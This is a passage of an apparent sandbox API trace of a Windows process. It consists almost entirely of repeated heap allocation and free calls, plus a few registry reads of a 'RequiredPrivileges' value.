0x1de47b0 [0251.141] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de47b0) returned 1 [0251.141] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de47b0 [0251.141] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de47b0) returned 1 [0251.141] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de47b0 [0251.141] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de47b0) returned 1 [0251.141] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de47b0 [0251.141] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de47b0) returned 1 [0251.142] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de47b0 [0251.142] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de47b0) returned 1 [0251.142] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de47b0 [0251.142] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de47b0) returned 1 [0251.142] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de47b0 [0251.142] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de47b0) returned 1 [0251.142] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de47b0 [0251.142] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0251.142] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d378) returned 1 [0251.142] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0251.142] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d368) returned 1 [0251.142] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4690) returned 1 [0251.142] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d358) returned 1 [0251.142] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4b10) returned 1 [0251.142] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d458) returned 1 [0251.142] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4648) returned 1 [0251.142] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d348) returned 1 [0251.142] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4600) returned 1 [0251.142] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d338) returned 1 [0251.142] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de45b8) returned 1 [0251.142] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d328) returned 1 [0251.142] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4570) returned 1 [0251.142] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d318) returned 1 [0251.142] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4528) returned 1 [0251.142] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d308) returned 1 [0251.142] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0251.142] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d2f8) returned 1 [0251.142] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4498) returned 1 [0251.142] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d258) returned 1 [0251.142] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1e6f870) returned 1 [0251.142] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de47b0) returned 1 [0251.142] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de47b0 [0251.142] RegQueryValueExA (in: hKey=0x154, lpValueName="RequiredPrivileges", lpReserved=0x0, lpType=0x18fb70, lpData=0x0, lpcbData=0x18fb78*=0x0 | out: lpType=0x18fb70*=0x7, lpData=0x0, lpcbData=0x18fb78*=0x19) returned 0x0 [0251.143] RegQueryValueExA (in: hKey=0x154, lpValueName="RequiredPrivileges", lpReserved=0x0, lpType=0x18fb70, lpData=0x1de47b0, lpcbData=0x18fb78*=0x19 | out: lpType=0x18fb70*=0x7, lpData=0x1de47b0*, lpcbData=0x18fb78*=0x19) returned 0x0 [0251.143] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4498 [0251.143] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x10) returned 0x58d660 [0251.143] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d258 [0251.143] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0251.143] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4498) returned 1 [0251.143] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x10) returned 0x58d648 [0251.143] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d2f8 [0251.143] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4498 [0251.143] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0251.143] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d258) returned 1 [0251.143] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d660) returned 1 [0251.143] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de47b0) returned 1 [0251.143] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x10) returned 0x58d660 [0251.143] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d258 [0251.143] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de47b0 [0251.143] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4498) returned 1 [0251.143] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d2f8) returned 1 [0251.143] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d648) returned 1 [0251.143] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4498 [0251.143] RegQueryValueExA (in: hKey=0xc8, lpValueName="RequiredPrivileges", lpReserved=0x0, lpType=0x18fb70, lpData=0x0, lpcbData=0x18fb78*=0x0 | out: lpType=0x18fb70*=0x7, lpData=0x0, lpcbData=0x18fb78*=0x194) returned 0x0 [0251.143] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1c0) returned 0x1dd29e0 [0251.143] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4498) returned 1 [0251.143] RegQueryValueExA (in: hKey=0xc8, lpValueName="RequiredPrivileges", lpReserved=0x0, lpType=0x18fb70, lpData=0x1dd29e0, lpcbData=0x18fb78*=0x194 | out: lpType=0x18fb70*=0x7, lpData=0x1dd29e0*, lpcbData=0x18fb78*=0x194) returned 0x0 [0251.143] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4498 [0251.143] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x10) returned 0x58d648 [0251.143] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d2f8 [0251.143] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0251.143] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4498) returned 1 [0251.143] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4498 [0251.144] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d308 [0251.144] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4528 [0251.144] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4498) returned 1 [0251.144] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4498 [0251.144] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d318 [0251.144] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4570 [0251.144] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4498) returned 1 [0251.144] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4498 [0251.144] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d328 [0251.144] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de45b8 [0251.144] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4498) returned 1 [0251.144] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4498 [0251.144] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x20) returned 0x58bc08 [0251.144] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d648) returned 1 [0251.144] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d338 [0251.144] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4600 [0251.144] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4498) returned 1 [0251.144] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4498 [0251.144] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d348 [0251.144] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4648 [0251.144] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4498) returned 1 [0251.144] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4498 [0251.144] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d458 [0251.144] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4b10 [0251.144] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4498) returned 1 [0251.144] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4498 [0251.144] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d358 [0251.144] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4690 [0251.144] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4498) returned 1 [0251.144] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4498 [0251.144] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x30) returned 0x1e6f870 [0251.144] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58bc08) returned 1 [0251.144] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d368 [0251.145] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0251.145] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4498) returned 1 [0251.145] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4498 [0251.145] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d378 [0251.145] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0251.145] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4498) returned 1 [0251.145] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4498 [0251.145] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d388 [0251.145] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0251.145] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4498) returned 1 [0251.145] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4498 [0251.145] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d268 [0251.145] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de47f8 [0251.145] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4498) returned 1 [0251.145] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4498 [0251.145] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4888 [0251.145] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1e6f870) returned 1 [0251.145] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d398 [0251.145] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de48d0 [0251.145] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4498) returned 1 [0251.145] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4498 [0251.145] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d3a8 [0251.145] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4918 [0251.145] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4498) returned 1 [0251.145] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4498 [0251.145] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d3b8 [0251.145] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4960 [0251.145] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4498) returned 1 [0251.145] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4498 [0251.145] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d3c8 [0251.145] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4840 [0251.145] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4498) returned 1 [0251.145] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4498 [0251.145] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x50) returned 0x1dd77f8 [0251.146] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4888) returned 1 [0251.146] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d3d8 [0251.146] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4888 [0251.146] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4498) returned 1 [0251.146] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x50) returned 0x58dd90 [0251.146] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d3e8 [0251.146] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4498 [0251.146] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d468 [0251.146] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4b58 [0251.146] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d478 [0251.146] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4ac8 [0251.146] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d488 [0251.146] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4ba0 [0251.146] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d498 [0251.146] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4be8 [0251.146] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d4a8 [0251.146] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4c30 [0251.146] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d4b8 [0251.146] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4c78 [0251.146] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d4c8 [0251.146] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4cc0 [0251.146] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d4d8 [0251.146] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4d08 [0251.146] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d4e8 [0251.146] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4d50 [0251.146] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d4f8 [0251.146] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4d98 [0251.146] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d448 [0251.146] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0251.146] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d438 [0251.146] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4a80 [0251.146] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d428 [0251.146] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4a38 [0251.146] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d418 [0251.146] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de49f0 [0251.146] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d408 [0251.146] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de49a8 [0251.146] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d3f8 [0251.147] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de46d8 [0251.147] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0251.147] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d2f8) returned 1 [0251.147] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4528) returned 1 [0251.147] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d308) returned 1 [0251.147] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4570) returned 1 [0251.147] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d318) returned 1 [0251.147] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de45b8) returned 1 [0251.147] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d328) returned 1 [0251.147] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4600) returned 1 [0251.147] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d338) returned 1 [0251.147] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4648) returned 1 [0251.147] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d348) returned 1 [0251.147] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4b10) returned 1 [0251.147] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d458) returned 1 [0251.147] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4690) returned 1 [0251.147] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d358) returned 1 [0251.147] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0251.147] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d368) returned 1 [0251.147] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0251.147] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d378) returned 1 [0251.147] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0251.147] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d388) returned 1 [0251.147] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de47f8) returned 1 [0251.147] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d268) returned 1 [0251.147] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de48d0) returned 1 [0251.147] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d398) returned 1 [0251.147] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4918) returned 1 [0251.147] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d3a8) returned 1 [0251.147] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4960) returned 1 [0251.147] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d3b8) returned 1 [0251.147] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4840) returned 1 [0251.147] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d3c8) returned 1 [0251.147] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4888) returned 1 [0251.147] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d3d8) returned 1 [0251.147] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1dd77f8) returned 1 [0251.148] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1dd29e0) returned 1 [0251.148] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x50) returned 0x1dd77f8 [0251.148] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d3d8 [0251.148] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4888 [0251.148] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d3c8 [0251.148] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4840 [0251.148] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d3b8 [0251.148] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4960 [0251.148] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d3a8 [0251.148] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4918 [0251.148] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d398 [0251.148] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de48d0 [0251.148] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d268 [0251.148] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de47f8 [0251.148] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d388 [0251.148] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0251.148] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d378 [0251.148] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0251.148] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d368 [0251.148] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0251.148] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d358 [0251.148] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4690 [0251.148] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d458 [0251.148] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4b10 [0251.148] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d348 [0251.148] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4648 [0251.148] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d338 [0251.148] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4600 [0251.148] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d328 [0251.148] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de45b8 [0251.148] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d318 [0251.148] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4570 [0251.148] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d308 [0251.148] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4528 [0251.148] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d2f8 [0251.149] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0251.149] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4498) returned 1 [0251.149] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d3e8) returned 1 [0251.149] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4b58) returned 1 [0251.149] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d468) returned 1 [0251.149] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4ac8) returned 1 [0251.149] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d478) returned 1 [0251.149] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4ba0) returned 1 [0251.149] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d488) returned 1 [0251.149] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4be8) returned 1 [0251.149] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d498) returned 1 [0251.149] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4c30) returned 1 [0251.149] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d4a8) returned 1 [0251.149] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4c78) returned 1 [0251.149] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d4b8) returned 1 [0251.149] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4cc0) returned 1 [0251.149] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d4c8) returned 1 [0251.149] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4d08) returned 1 [0251.149] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d4d8) returned 1 [0251.149] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4d50) returned 1 [0251.149] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d4e8) returned 1 [0251.149] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, 